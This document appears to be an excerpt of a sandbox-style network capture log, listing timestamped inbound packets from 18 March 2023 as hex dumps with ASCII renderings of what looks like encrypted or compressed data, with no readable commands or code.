2023-03-18 04:38:08 UTC	292	IN	Data Raw: 62 69 8d ad 89 19 9d ba be 86 53 1e 7c 8b 29 7a c6 9b cc dd 45 55 42 6f 59 85 43 ad a6 40 8f 36 09 e6 e4 a5 93 b5 66 10 a5 cb ee 08 b2 70 96 40 a9 4c c7 d1 64 4b 5c a4 17 f5 e3 8c 1a 34 17 c3 a6 bb 23 cc 5f 1f 36 39 23 96 16 12 7b fc c6 f8 78 8b 27 65 f6 07 aa 73 49 53 e7 74 f2 6c a2 6d 26 a0 5e cf 79 3b 79 3f 45 2d ac 65 a5 87 50 24 69 d5 85 31 97 26 c9 90 28 d8 57 db 24 ff 08 9b b9 f9 a8 90 8f 3f 33 70 32 06 86 5b 16 02 97 7a e2 4d 8e bd 8e 69 e4 34 10 76 96 05 65 11 2a 3a 49 dd 7f de 5a 68 2a ef 7c a2 0b 20 71 61 f1 64 0b 02 6a fb ee f2 7d a9 d2 90 b6 7f b6 51 b5 d0 9a 91 ef 1b ca 39 a8 2f 48 c9 2f 2d dc c4 af a2 39 14 ea 1d f0 50 06 fb 6b df cb bc 47 e1 78 54 74 a1 85 6c bf eb 84 9d b4 c4 11 dc d4 4d d5 34 ed 91 88 72 fd 66 e9 90 2d a1 b9 2b ce 49 bf Data Ascii: biS\|)zEUBoYC@6fp@LdK\4#_69#{x'esIStlm&^y;y?E-eP$i1&(W$?3p2[zMi4ve:IZh\| qadj}Q9/H/-9PkGxTtlM4rf-+I
2023-03-18 04:38:08 UTC	293	IN	Data Raw: a6 8f d4 07 d3 8b ad 06 11 92 96 a2 8a 1f 46 be 7a 75 7a 3c 8b 5e fe f9 03 e7 ee 1a f1 17 45 93 2a 57 9b 7a d3 8e 2c e7 48 61 56 4b 92 45 e5 47 a4 3a 87 9e 1d c6 ea d2 1a 7d 88 16 7d 70 cf d7 e4 8e 2d 59 5b cf 2e 1e 3b 1f 44 02 99 6d 56 ef 6b 62 54 f4 62 3f a1 27 a3 5e b0 42 e3 5a 95 31 29 02 09 14 14 97 ab 3c ea 6d a7 33 b1 c3 09 03 5b 0c b1 ab 94 30 e9 fd 8a c5 58 76 17 6c e3 2e 26 20 59 8d ae 74 84 da 73 27 25 12 8f cb b4 bf 3b 2a 0f 93 b6 3d 27 5a d4 37 75 57 e2 9e d6 b9 6b a4 d2 68 dc 25 18 05 16 09 53 e4 96 06 19 66 48 e0 5c b1 4f 2d c5 ec 5c 49 44 5e 98 af be c1 04 4a ff b1 08 bb 77 79 54 de 98 3e 0b 76 f7 57 35 98 c1 a1 69 4d f6 0d 3c 0d 12 67 99 14 14 3e 84 15 2e 76 0c b8 14 cd 5a 09 10 10 1e 71 cf 6f e1 75 a3 0a af 5a 91 4e 26 a2 a3 8a 88 c7 7c Data Ascii: Fzuz<^EWz,HaVKEG:}}p-Y[.;DmVkbTb?'^BZ1)<m3[0Xvl.& Yts'%;='Z7uWkh%SfH\O-\ID^JwyT>vW5iM<g>.vZqouZN&\|
2023-03-18 04:38:08 UTC	294	IN	Data Raw: 45 97 a6 72 74 f9 be 53 55 92 f3 67 5f b4 ce 73 db 44 6f 2e 22 60 a2 d7 52 68 0d 68 04 d0 b1 fa 62 74 b3 7d 94 e5 84 70 48 40 a0 56 8c 10 7b 87 97 d2 02 88 41 aa 47 69 d2 cc 6b 05 a0 66 db cd c5 54 2f d1 95 fa 0e be d4 ea f5 e0 34 5e a8 03 14 53 72 4f 4d ed 8b e4 b4 4b 76 1f 8e c5 d7 09 87 97 0e b1 c1 94 22 0d 40 83 c8 ed 98 e4 c2 1e f9 95 fe 41 9c d4 5b c7 be a1 54 2c c7 bb fa fd a7 f6 e3 9e 2a 27 5f 52 17 b5 26 5f 03 f5 a8 7b b8 56 65 94 b1 4b a9 26 39 a2 47 19 97 6b 37 0b b9 ce 0f e5 cc 97 1b 34 5f 43 9d 66 55 05 13 ec 7d 5e 31 ce 5b 72 ca 18 e8 2f 5d ae e3 71 23 70 be 1e 24 71 9f 06 a7 c5 fd b5 7a c3 6e 0b f9 9b 5f 8d b7 08 79 31 e9 71 de 99 0e a7 a3 f3 e1 38 34 9a 44 91 cb 12 f1 fd 1a 96 c7 b7 2d 96 b7 45 d1 f3 c8 1e e3 29 e8 70 fd c7 ce 47 1b bf 43 Data Ascii: ErtSUg_sDo."`Rhhbt}pH@V{AGikfT/4^SrOMKv"@A[T,*'_R&_{VeK&9Gk74_CfU}^1[r/]q#p$qzn_y1q84D-E)pGC
2023-03-18 04:38:08 UTC	295	IN	Data Raw: d8 76 b6 c2 c1 0c 6d ac 10 fb 2c 67 0a a0 97 5c 5a de 92 23 81 c0 c5 0b 26 0e d1 17 2b b4 ea e5 58 eb 88 06 d8 ba 56 bd 72 12 92 a6 f6 15 5c e1 43 1b e4 4c 9c d2 18 6b bf 3b 3d f7 3d ab 71 6f 01 8a 3b 15 3a 6e f7 e9 bb ba cc 26 2b 20 b6 8f ff cc 38 a7 45 f5 90 7c 5e be 37 ba a9 eb 39 d4 9e f0 b1 c2 db d0 17 96 a8 2a 3b 86 69 6c 58 86 5a 86 5b c9 3e 4b 88 f2 e0 73 81 6b 07 0e c0 2c c6 9f 87 fe 88 7a 5f 4a 8d 8f 0c d6 1a cc 60 49 21 20 d7 6d 50 e3 ea 56 15 97 59 1e 30 45 19 67 13 50 6a a9 e9 c8 ff d6 cf 7e 73 44 ef ec 08 0f 23 b3 07 37 5a 52 70 0a 26 5c e3 41 3c 5d 29 39 46 db b5 fb 32 cd 62 7e 49 9f 50 60 a1 4a 47 61 73 07 90 03 86 76 02 8a cd 67 2d 69 b1 cb 8d 87 87 4a 30 bc e7 eb e4 ca 63 66 5a 3e d3 52 b1 98 13 2b 48 10 65 2b b4 08 d3 52 08 f6 d0 6c 19 Data Ascii: vm,g\Z#&+XVr\CLk;==qo;:n&+ 8E\|^79*;ilXZ[>Ksk,z_J`I! mPVY0EgPj~sD#7ZRp&\A<])9F2b~IP`JGasvg-iJ0cfZ>R+He+Rl
2023-03-18 04:38:08 UTC	297	IN	Data Raw: 6d 78 ca c1 d4 b4 94 00 95 4d 41 d3 5a 0c 3a 05 72 76 60 95 cf dc 75 de fe 00 8d a2 bf c4 37 77 42 d9 db 09 0c 0f 37 1f b7 ce 81 9c 36 74 9f 23 ea c7 54 01 af 05 8d 71 14 ee 4f ce de e8 1a c2 fa c0 ab 00 97 d3 c4 58 4d ca 1b e4 16 6f 32 af d5 ea be 5a 02 40 8c 0a ac 76 72 67 c3 ca 78 47 8a ee 9d b2 4d fe 0c b1 07 7e a5 45 52 97 de d9 05 b0 ea 92 52 83 84 ff 34 12 69 f4 2d 1d 57 e7 59 4e ca c1 f8 11 84 ad 4d a4 1c 8a b0 0b b6 cc e3 58 75 48 7b 33 d7 1d 7b 80 e5 df ed a8 d3 cc d2 40 26 1e 1d d4 c5 a7 86 0f 3f 34 f0 80 97 ad 11 a9 16 13 12 ef c8 d8 8a 41 cb a4 e5 ef 75 fc b7 59 c6 bb 51 d3 98 0c 03 11 f6 07 18 d0 73 dd 9f a0 d9 95 39 45 d6 e4 b2 f3 53 87 e3 40 a4 61 9e 49 93 6f 0c 82 52 84 2c 0a 3c 67 60 44 4a 96 ac 11 00 3c e3 e0 58 c2 cb 36 ef 34 1d 3e 49 Data Ascii: mxMAZ:rv`u7wB76t#TqOXMo2Z@vrgxGM~ERR4i-WYNMXuH{3{@&?4AuYQs9ES@aIoR,<g`DJ<X64>I
2023-03-18 04:38:08 UTC	298	IN	Data Raw: 27 74 60 f4 48 79 d0 ab 04 ef f4 bb cb 27 29 52 dc 3b 4d 0f 43 56 f5 c9 fe 4a 83 4c ee 59 77 ec 6c 14 f7 80 ee db 16 05 cf 4e ee 10 97 0c ec d3 7d 53 15 26 b0 09 3e f3 a0 6f f8 19 45 1b 30 c1 fb 95 25 dc 8a 9f 8b 22 76 59 50 0b 63 d9 7c 0e 3b f3 4e 42 c2 13 98 6d bb 68 2f 0a bb 29 54 80 78 4a 44 4c 8c 24 c4 55 49 55 3b 64 50 05 fc 9a ee ad 2f 2a c5 7e c3 a8 4c 90 e4 4e b8 37 9b cf 5e a6 0c 33 ba 3f 83 b3 f6 65 0e 58 33 a5 ae 07 b4 6d 27 30 cb 20 54 a0 b4 43 2e 06 7f 15 d9 df 88 e2 03 99 87 b6 5e d1 05 9a bf c0 cd 73 78 19 1a 7d be 6e 5f 7f f8 f2 1e d7 af 22 48 7e 8a b6 04 49 b4 13 4d c8 35 d2 53 f0 45 5b 5a 96 9a 53 54 ca ad 0a eb 71 0d c4 70 f2 e5 05 92 dd c9 47 11 4f 56 68 01 9c 08 64 04 bc 8a 83 b2 94 c6 6f cc 0b eb 64 61 9f 02 14 9d fe 6e 3f 55 7d 39 Data Ascii: 't`Hy')R;MCVJLYwlN}S&>oE0%"vYPc\|;NBmh/)TxJDL$UIU;dP/*~LN7^3?eX3m'0 TC.^sx}n_"H~IM5SE[ZSTqpGOVhdodan?U}9
2023-03-18 04:38:08 UTC	299	IN	Data Raw: b5 c8 21 4f 02 61 cc 91 3f 45 68 0c e8 da 2c d5 20 12 1d 10 fc d6 7a 14 68 bc 23 f1 f0 29 0c 84 c3 1c a2 9f 8b 6f b4 3b d1 43 86 59 3a 49 01 03 7d ab 28 a4 71 18 b0 d9 e6 3b 62 e5 67 df d0 6b 6d c2 7a 96 50 b1 e3 d3 48 2c e2 90 1a a1 65 c6 03 14 78 1f bc 37 ec a3 17 e2 fc 7b c1 28 72 8f b0 f5 ce a5 f5 4b 8d e4 23 b2 cb e9 5f bc 56 54 d7 f7 7b 02 bc 93 5f 2d 25 56 87 53 bc aa c0 56 1c 5d b7 27 29 8c e9 c4 18 63 45 45 7e c7 ae 76 bd 3a 3d 8e 5b a1 ed 98 26 18 a0 b4 39 e2 e1 30 fb 38 d5 6c d3 96 f2 63 42 aa 2d 52 14 b9 bf 7b 92 51 a5 5d 0a f2 7f 95 f5 65 85 ad 4d cb a0 d0 4d 9d 1f a2 7f 6d b8 71 3a 04 bc 09 79 cc 8d fb 7a 23 c8 a9 fb 7b 38 6d 0c 0b ed 4b cc 4f 50 f1 4e 90 50 04 93 1d 7d f0 be f0 c0 bf 44 11 c3 a9 eb 4e 81 64 a9 54 1f 86 46 04 de 0f 6f 10 57 Data Ascii: !Oa?Eh, zh#)o;CY:I}(q;bgkmzPH,ex7{(rK#_VT{_-%VSV]')cEE~v:=[&908lcB-R{Q]eMMmq:yz#{8mKOPNP}DNdTFoW
2023-03-18 04:38:08 UTC	300	IN	Data Raw: f8 6b 90 56 54 22 09 93 13 fe 33 8d 9e 86 15 09 e3 6c fd 74 cf b9 63 43 6a aa 17 12 33 af 2e 36 3c 8a a9 14 56 0b 1f f4 a8 ce dc 2f ef bd cf 8e 89 8b 8e 26 04 6c 5b 10 5d ab 1c a3 f3 5f c2 24 15 5e 46 92 5f a5 06 ac 79 25 65 50 45 01 19 10 e6 58 58 54 a7 e2 77 22 aa 6b 94 ef 2e ba ad 0f 2b 87 21 58 6c 25 65 ff c5 df 51 06 d9 3b ef 29 93 24 13 ee ea 9b e8 a8 27 eb e2 3f bf 5e fe f3 e4 27 4f 09 e7 d4 c6 45 4a e7 a6 e0 b3 e5 dc 2e 35 08 53 c2 db 3f 0b cb cb 9b 41 27 07 87 bf 63 95 89 15 91 83 fd a4 14 08 18 96 4c 5f 48 f2 2f 29 6f 39 24 e8 b8 45 41 88 c5 3b cd 5c f3 a5 22 cc 33 da 9b c0 1d e4 2e 7c 9e be 0f eb 8a ea 27 7f 6d c1 aa 8d 60 48 69 f6 ea 70 de 0c 10 ba da b0 48 97 9f b8 41 e1 68 55 48 4e 13 b3 4c bb 97 1a 51 26 0c ce 53 f4 ad 9a 93 92 24 5b 04 8d Data Ascii: kVT"3ltcCj3.6<V/&l[]_$^F_y%ePEXXTw"k.+!Xl%eQ;)$'?^'OEJ.5S?A'cL_H/)o9$EA;\"3.\|'m`HipHAhUHNLQ&S$[
2023-03-18 04:38:08 UTC	301	IN	Data Raw: 54 5b 20 f3 84 44 6c e3 80 a0 02 00 b5 f0 7d a0 1d b8 c8 f7 de bb 8c 94 9f 6c f5 09 8d 7a 0b c2 10 a3 ee a7 4c 06 28 49 85 36 00 a6 e3 83 1e 08 46 c5 ec af 70 6d 6e a7 1f 3f 73 6c 5d b8 3f 9d 8c aa e7 e9 ff 7f 84 16 6e 99 c0 a1 ec 9f 1e 4e ca e7 e9 96 7d 47 bd 05 5d 0b 0b 27 61 eb c3 30 16 54 d2 f1 ac 36 78 54 ab d5 1a 65 f0 7f f5 c0 ee c7 5a f3 cb 15 79 24 fc 4e 8d 58 8d f7 24 dc 18 ea af e3 51 2d 99 60 b6 e5 29 11 6d d8 3b 1a bb 4c fb f0 3d 3d 0c f6 21 86 ad 1d 4d e9 81 de 3d 30 a7 93 fe ad 4f b6 2e 41 d6 4e 53 18 4e aa af 0f 07 4b a4 f1 be d7 5f 56 56 f1 c0 d3 d3 cc c0 62 50 a1 27 e4 a1 cf b8 45 94 8c cf 66 82 57 49 10 00 34 ea cd 47 fa 0b 48 3a 0d df 46 bc 4e e7 8d dd 37 c2 89 46 8f 1d 23 46 ba 68 e1 cf 20 d3 cc 30 c9 d8 e2 80 f4 e7 36 4c 4c a5 2a 9f Data Ascii: T[ Dl}lzL(I6Fpmn?sl]?nN}G]'a0T6xTeZy$NX$Q-`)m;L==!M=0O.ANSNK_VVbP'EfWI4GH:FN7F#Fh 06LL*
2023-03-18 04:38:08 UTC	303	IN	Data Raw: f8 98 b8 8e b0 7e eb be 85 e5 c1 20 a1 b5 bb 0e 0d e4 d6 ee 2c 5c 7c 65 fe cc 05 e0 a4 cb ac 9a 1e 3f 7e 6b ff 99 9f 70 0c f1 06 78 fb da 74 a4 2a 7f 28 5e 12 20 49 35 63 b5 8e 6e 32 3b 67 5d e4 25 59 69 ef c2 40 be 3a 85 e1 82 61 8c dd ea 74 21 e2 db 1f fb 6e 22 9d c5 86 1f 8f ae 5e 53 0f f4 60 01 c6 2d 45 01 5b ec 41 a8 cd e2 1e ab 9f eb 02 c4 3b d7 94 18 91 66 db 95 c5 e4 d3 51 7e e0 11 5f e1 42 10 05 0a f0 d5 2d 48 41 61 15 11 cb 9c 54 55 a7 76 24 c6 d3 b9 cb c9 d3 fc fe f0 47 d7 70 15 6e 1c 51 a3 0f 89 87 a1 f7 76 01 be 18 6a a7 bc eb dd 3c 5c 7d a3 f8 0f e4 57 0a d3 91 7d 77 85 dc a7 62 61 a2 0a a7 5e ec 7b eb d5 bb b1 16 65 fb 9f 9a 76 a9 a4 2a 91 46 9e 6b 9b b7 53 f4 c2 9b 17 8d da 32 c4 d5 c8 52 12 41 39 ff b0 c4 0b 4e 82 52 51 c4 11 f5 7e 71 15 Data Ascii: ~ ,\\|e?~kpxt(^ I5cn2;g]%Yi@:at!n"^S`-E[A;fQ~_B-HAaTUv$GpnQvj<\}W}wba^{evFkS2RA9NRQ~q
2023-03-18 04:38:08 UTC	304	IN	Data Raw: a1 4a 27 e4 d9 03 9c 7a 2e fe aa ce f7 3b ae 69 37 15 48 58 b4 0f 5d 70 9f 3e d2 23 ba da 52 1e c6 f0 06 63 4b 9f 88 95 ed 65 84 82 a5 64 be a2 09 fa 57 fe c2 93 a8 03 75 45 31 29 2c b8 8a d3 69 61 4d 8c 95 75 32 18 d4 5b 38 a0 50 e2 9f 9a 2c 4e 6c 3d 3b 2b 3d de be cf f1 68 a4 b0 93 98 3f a8 5a 34 60 d8 f4 99 e4 23 ac b0 bf cd 6f eb 17 e5 9b 20 b5 94 31 f4 b2 d0 26 f3 ac 50 a9 d8 12 1b e4 d1 91 88 cc 7b 4b 2b 51 15 41 2d 35 79 51 44 54 aa 91 99 1e b0 b2 0f ff 68 62 3f da d7 89 0c 94 a1 74 57 98 df a7 53 1b 44 1e eb 02 d3 9c 50 56 4e 1c 22 f5 63 fd 65 24 4c e4 aa 12 10 1b 9c 35 7b 53 5a 37 4e 49 df 0b 9a c9 be f3 8c 83 5b a1 94 ac fb 95 c3 a5 83 b1 e0 9e 5a 38 93 9b 56 cc 02 a2 80 39 be 1a 89 66 0a 88 51 27 02 2d 14 19 53 ac fb 36 15 b5 d3 09 ce fb 6d 4b Data Ascii: J'z.;i7HX]p>#RcKedWuE1),iaMu2[8P,Nl=;+=h?Z4`#o 1&P{K+QA-5yQDThb?tWSDPVN"ce$L5{SZ7NI[Z8V9fQ'-S6mK
2023-03-18 04:38:08 UTC	305	IN	Data Raw: 52 a7 7e de 0f f9 83 e4 3c f0 e1 e4 dc 6b 52 ae f1 ad b2 d4 ca 7c 24 5b 96 2f 26 54 b6 7f e6 2c af 3a 28 f8 51 9c f6 47 13 b4 35 3f 12 76 a6 c5 26 53 f5 b8 f2 c4 ef 2d 6c 85 aa 1e dc ac c8 c9 51 09 d0 10 e2 33 11 22 fb 1f b8 7d af f7 47 fe 20 dd 6a 43 c8 7f c1 1f 34 27 1a 09 84 e0 68 d3 71 e5 4e 91 05 91 16 ae fc 59 19 c2 Data Ascii: R~<kR\|$[/&T,:(QG5?v&S-lQ3"}G jC4'hqNY
2023-03-18 04:38:08 UTC	305	IN	Data Raw: 5c 70 36 48 f4 25 a9 b1 63 5e 77 eb b5 b7 14 49 fb 51 2e b3 06 fb d4 2b 27 41 72 5f bf 04 c8 d7 77 f7 f9 6c 21 22 b2 01 96 d1 9a 0d 00 5a e0 10 cb cf ea 60 81 c1 3a f4 0f 34 45 58 87 10 87 d3 7b ea 8f b3 16 c0 96 c0 cf 58 26 dc 62 47 2f f4 8f 44 4b 9c 09 91 c2 09 75 6f 6c 96 b4 1a 7a 1a 54 e5 dd 9b 61 a5 38 09 b5 66 04 3e fd fb bd 40 1b 6c 66 23 75 36 0c b8 1c a4 2f a5 80 1c e1 d2 96 45 a0 0e d2 ff 0a 2f 61 b5 da 6e 46 52 c8 b4 3c 35 2a 53 f2 e7 be ce 82 a7 07 1e b4 f0 7f 65 3f 75 6e e3 e7 71 ed a8 9b cf bc 1f ee c8 68 46 c1 2c b8 43 d5 c7 ba f5 14 93 1b 80 a0 02 02 ab 99 e4 63 6e dc b3 a3 7c 45 61 fc 10 f0 55 96 df 2e ed 34 98 64 de 75 ae e9 0b 70 3c c2 e0 6d 6e 0e 60 ff 71 10 b4 78 8e d5 8f 94 92 06 34 7e 20 68 41 c4 d9 8d 3f 94 24 ca eb 22 fc a4 fa eb Data Ascii: \p6H%c^wIQ.+'Ar_wl!"Z`:4EX{X&bG/DKuolzTa8f>@lf#u6/E/anFR<5*Se?unqhF,Ccn\|EaU.4dup<mn`qx4~ hA?$"
2023-03-18 04:38:08 UTC	306	IN	Data Raw: 86 be 42 18 3e 66 5a ea 81 2a 91 80 70 a6 e9 f6 6a 58 22 84 37 19 5f b5 db 31 cd fd 22 27 bd c8 cf f1 73 15 83 cf cc d3 aa c1 74 6d 6f 96 45 df 32 1b 1c a0 8d ba 44 0c 3e a6 e0 6f 41 a2 e7 8d 3c bc cc c9 28 f1 b9 4a f4 6b 37 17 41 38 48 f9 17 b6 36 7f 5f a1 71 13 67 14 1a 22 e4 dc be 70 0f 47 0d 76 db 2d 54 26 19 c6 01 15 1f 27 23 3a 4a 3c 4e dd 08 8c cf 11 28 b2 81 0d df 9a 25 d7 28 08 3f 83 88 f2 49 68 0e dd 55 4d dd 91 4d 10 81 e0 84 9b 92 0e e0 85 ec fb 54 31 45 eb 32 5c 0a 13 84 0f 9d 98 db 64 79 da 61 c6 36 58 91 e2 c3 4e ff 12 e1 b7 da 7a d4 b8 94 de 08 16 07 57 94 b7 37 0d ce bd b5 9a 0c 67 90 80 49 69 4d a4 79 dc e7 db 25 43 f9 95 ba 03 ec 31 19 59 27 ef 89 57 32 a7 4b fa e9 eb 9c ef bd 63 f5 0f dd 14 e7 47 24 91 6d 53 bf d9 86 b8 c1 df 53 c4 eb Data Ascii: B>fZ*pjX"7_1"'stmoE2D>oA<(Jk7A8H6_qg"pGv-T&'#:J<N(%(?IhUMMT1E2\dya6XNzW7gIiMy%C1Y'W2KcG$mSS
2023-03-18 04:38:08 UTC	308	IN	Data Raw: 1f ea 5f 8b f2 f4 09 95 dc 0c d8 c0 35 34 2f fa e6 4c bc 08 b8 71 1a 8b 2d 55 ac c1 64 b4 37 d3 4a a8 91 97 9d de 39 ec b2 67 24 58 e0 6c 9c 54 58 a6 39 d5 54 7f 3d 9f 24 0e 2b 58 94 ec e3 40 cf 25 30 84 1f fd 9d 7a db 23 5f d7 d7 10 a6 78 3a d7 3b 13 bb c9 0c 51 29 fb 92 3a 0a 59 89 e6 49 72 4c ac d2 a3 31 82 44 38 54 80 05 9d d0 85 2d 8c ab 3f e9 0d 47 89 10 38 28 09 39 c8 2a 4b 73 7c f7 91 de 14 94 f4 25 d8 14 8f 93 dd 03 f7 f2 a0 e7 55 62 b0 00 86 c7 7c c1 6a 1d b0 70 1c e6 45 f2 91 d0 ac 1b 93 d9 2f 64 d3 be 49 e6 31 27 1f 0d ba 53 b8 b5 06 23 12 c4 63 e7 13 16 12 a2 bd 5a e3 9c 2f 0a f6 63 0a 6f 03 81 75 45 29 10 89 89 44 9e 06 98 a4 07 dc 6d 16 8f 34 75 17 0c 2e c8 58 b7 e3 30 6c a6 d7 ab 37 e0 ef 7b ee 44 d2 1e ff 69 88 6e 9e e1 e6 ee 64 b4 f7 e6 Data Ascii: _54/Lq-Ud7J9g$XlTX9T=$+X@%0z#_x:;Q):YIrL1D8T-?G8(9*Ks\|%Ub\|jpE/dI1'S#cZ/couE)Dm4u.X0l7{Dind
2023-03-18 04:38:08 UTC	309	IN	Data Raw: 77 5b cf 64 e5 56 b3 4c be 47 86 41 f7 0b 35 48 38 4f d3 e4 a3 39 9a 10 a9 e7 1b c5 30 40 d0 a6 c5 d5 6f 21 e2 2d 88 c5 b5 85 d6 c7 cc 53 32 ad 69 39 b5 0f f2 0d 70 79 3d 8e 13 1a 3e 0d 9f 9c e2 b2 97 ab 12 25 9a a8 ae 79 64 5f 99 68 f0 ba 06 47 e5 a0 96 b4 9b 12 e7 b8 70 d6 a0 47 48 0e 77 b0 8c 26 68 f4 d9 5a 85 e5 6f ee e0 32 b1 4b 70 da ef 75 c1 82 4b c4 d9 bc b5 08 16 0e 03 25 b7 4d 0f 11 92 2e 42 40 36 f9 bf a0 b6 63 a4 e9 ae cf 32 9e 03 c0 35 b7 aa 90 83 db e1 97 de 9a a7 ef 50 5f 84 b9 6a 4b 7d 93 17 ad ee db 75 0a f3 f7 0b 93 b0 a3 90 43 99 07 63 ba 05 24 7f f1 db 87 3e b3 6b 0c 43 16 41 bd 70 2a c4 43 fe dc 02 6e dd 1e dd 1d 10 c9 c0 c9 2d a2 74 0b a4 7b 6a f5 3c f7 70 cb 54 39 42 c2 a1 4f 2f 39 da db 98 48 91 5e d3 4b 43 55 6d 31 8e 8b 9e 01 f2 Data Ascii: w[dVLGA5H8O90@o!-S2i9py=>%yd_hGpGHw&hZo2KpuK%M.B@6c25P_jK}uCc$>kCAp*Cn-t{j<pT9BO/9H^KCUm1
2023-03-18 04:38:08 UTC	310	IN	Data Raw: ff 75 7f 71 3d 90 67 88 39 00 2d 7a 5b d6 b3 25 82 9b c1 7d 92 fe eb 47 92 f7 cf 95 82 47 d9 65 63 06 64 0c 9a e7 db 02 31 da 4c 49 85 07 93 a2 5c 88 0b 78 d1 ec d7 55 cc bc 31 f7 3f 4c 72 ed 2e 87 ef ae bf a0 6d 73 46 91 5d d5 10 6a 29 14 0f a9 1b d2 67 17 1f f0 35 9e 64 73 2c 00 94 d2 85 90 b8 4c f1 cc a9 a2 6b 04 05 c6 11 23 31 5c e8 19 61 7a 0f 1d cc 68 fa 40 bd 09 05 42 fa ee 64 b7 05 35 de b4 70 3b 88 2b d1 4a 33 e9 44 75 d4 d8 d1 01 9b 91 4a 8f 07 f7 48 b4 b3 ca 2e 6c 68 1a a7 50 47 64 fe de 7c 1e 3f 45 e6 2e 68 db ee 4d 84 6e ce 35 a6 0c b2 f9 8b 73 03 f1 94 72 fa 87 ad 42 61 1a e6 d5 7a 16 ef 94 15 93 a8 5c 32 67 23 f2 95 19 0e fe 6b 8d ee 31 99 ca 79 a0 6b 2e 83 74 2a 08 22 7f ae 89 60 bf 95 b7 83 a2 58 8d f8 55 a3 56 d0 08 27 bc ed 91 06 d0 36 Data Ascii: uq=g9-z[%}GGecd1LI\xU1?Lr.msF]j)g5ds,Lk#1\azh@Bd5p;+J3DuJH.lhPGd\|?E.hMn5srBaz\2g#k1yk.t*"`XUV'6
2023-03-18 04:38:08 UTC	311	IN	Data Raw: 18 77 77 67 e4 bd 61 18 b5 54 3c cf a5 84 6d 6a 64 80 8c 17 13 a0 d6 a0 6f d4 b3 68 76 b8 ab 2c a5 5f a5 5a 43 fb b7 45 b2 7d 5e 0b 22 96 2e 7e 29 82 47 f2 47 f9 03 4a 13 cc 88 5a f1 04 da dd 94 03 a5 55 24 0d 2a b4 b3 05 2a 3d d9 88 1e 83 3f 0d a6 39 8c e1 a9 b6 54 50 67 3e e7 ce c3 85 8f 55 f6 df f9 7a 7f d2 8f e3 e3 24 04 a2 3f 36 2d 3d 07 de 07 31 8f ae 34 2d 02 18 11 d5 a2 e2 5f b1 c5 d8 e9 d5 8b 46 40 ba f6 c3 fe 20 4f 8e c2 02 b3 a0 52 32 f8 e9 f3 ff 68 65 59 4e b3 42 4c de e1 37 fc 83 70 5e 42 fa a2 48 fe 3e 98 d2 77 c8 1d 4f 25 5e 8f 34 25 28 cc 97 0c 15 3c 41 93 d1 3e dc 81 55 93 b6 83 0e a7 c7 a4 dc af e9 1b 79 23 0f e5 cf e1 23 11 29 72 2b a2 39 f2 38 95 5a 00 ca 3d b8 7a 98 96 c8 96 e0 89 5d f9 56 38 b0 df fb 6f 0c d6 98 d6 de f2 92 31 e3 f1 Data Ascii: wwgaT<mjdohv,_ZCE}^".~)GGJZU$**=?9TPg>Uz$?6-=14-_F@ OR2heYNBL7p^BH>wO%^4%(<A>Uy##)r+98Z=z]V8o1
2023-03-18 04:38:08 UTC	313	IN	Data Raw: 37 2d b2 5f 1f 8a b4 3d b4 58 6d 2f 2f 8d d8 88 26 5e f6 a8 77 18 a5 2a 8b 03 4b 8c f8 20 1e 68 78 9b 81 3b a7 0f 87 af c9 a1 74 74 71 44 6b 49 e4 e8 04 b4 46 0f 70 4b 0b bc 3b 00 73 0a ae f7 67 60 24 cb f0 b7 66 39 93 e0 e8 05 6b 10 3b d4 c2 c1 56 eb 8a 8e 31 8a c3 50 a8 0a cc 6d 7d e5 48 03 93 40 68 4b fa b5 bb 1c 19 f6 17 57 22 b0 5c 49 2f 94 33 0b e7 49 ae 8b 69 fa 68 ea 89 a8 21 ba ff ed a3 98 0e ab 7d 4f 60 9e 46 6b 99 4e a8 24 6d 1e 58 0b f7 f4 a5 0f 83 62 49 13 1c 9c d9 1f 0c b7 5c 00 0c f3 a9 60 d2 d7 97 1a 5f b7 4d 0b 68 18 ed d7 bc cb d0 8c 69 32 6c d9 30 e4 35 38 4a c2 e8 3d 82 2a 3b 63 15 83 4a 28 a6 eb ef 55 ef 06 85 ba 87 c4 d8 dd 5b db e6 90 42 c7 c7 eb 0e b6 5b d2 69 cb 78 3e 7a 92 6d 63 72 29 ee 75 44 a8 3f 68 7f 95 9b d8 30 f7 fc c1 b7 Data Ascii: 7-_=Xm//&^wK hx;ttqDkIFpK;sg`$f9k;V1Pm}H@hKW"\I/3Iih!}O`FkN$mXbI\`_Mhi2l058J=;cJ(U[B[ix>zmcr)uD?h0
2023-03-18 04:38:08 UTC	314	IN	Data Raw: 9c 00 74 64 93 ee d2 8b 4a 10 0d 02 cd d4 cd ab 25 6e 9b 95 a9 6d 0c 6e f8 2e dd c8 6b d1 3c 85 76 fc 35 94 01 90 ff 15 b4 db dd ed ae 0a 4e 78 43 22 06 ac 8d f6 30 ca 06 fb 1b 97 fd 12 b8 ad 10 03 20 b7 8f 0e 9c 65 52 ca fb 14 7e 70 d7 e9 72 a5 68 e1 17 64 2e 81 1f 5b 90 87 c9 90 aa 76 38 e9 b6 20 ce d9 7a 14 96 3a 5f 71 79 ed 6b 05 ea 30 4a 1c ce 3e 02 68 9d 18 17 81 ee bf 30 57 06 ad 3d fe 46 ed 89 d1 6a db 02 ae 02 23 6a 56 bd 3c 81 9a e1 56 b3 17 69 44 df dd 4a 14 49 9a d5 14 0a 58 7f 0f fe 5e d6 57 cb e6 1a 75 56 12 37 82 9b 16 cf 49 d8 6c fd 56 b2 53 bb 98 32 3f 3b 5a a7 d5 1b 57 f2 ac 3a 85 b4 d5 5e 6b b0 37 7e 7a 77 30 35 7e 32 19 95 4b 2a 52 13 6e 10 9a 14 17 86 56 fa c8 6c 61 15 cc b5 91 66 68 13 63 fe 51 56 9e 65 75 79 5e 14 22 a9 67 7f f4 cd Data Ascii: tdJ%nmn.k<v5NxC"0 eR~prhd.[v8 z:_qyk0J>h0W=Fj#jV<ViDJIX^WuV7IlVS2?;ZW:^k7~zw05~2K*RnVlafhcQVeuy^"g
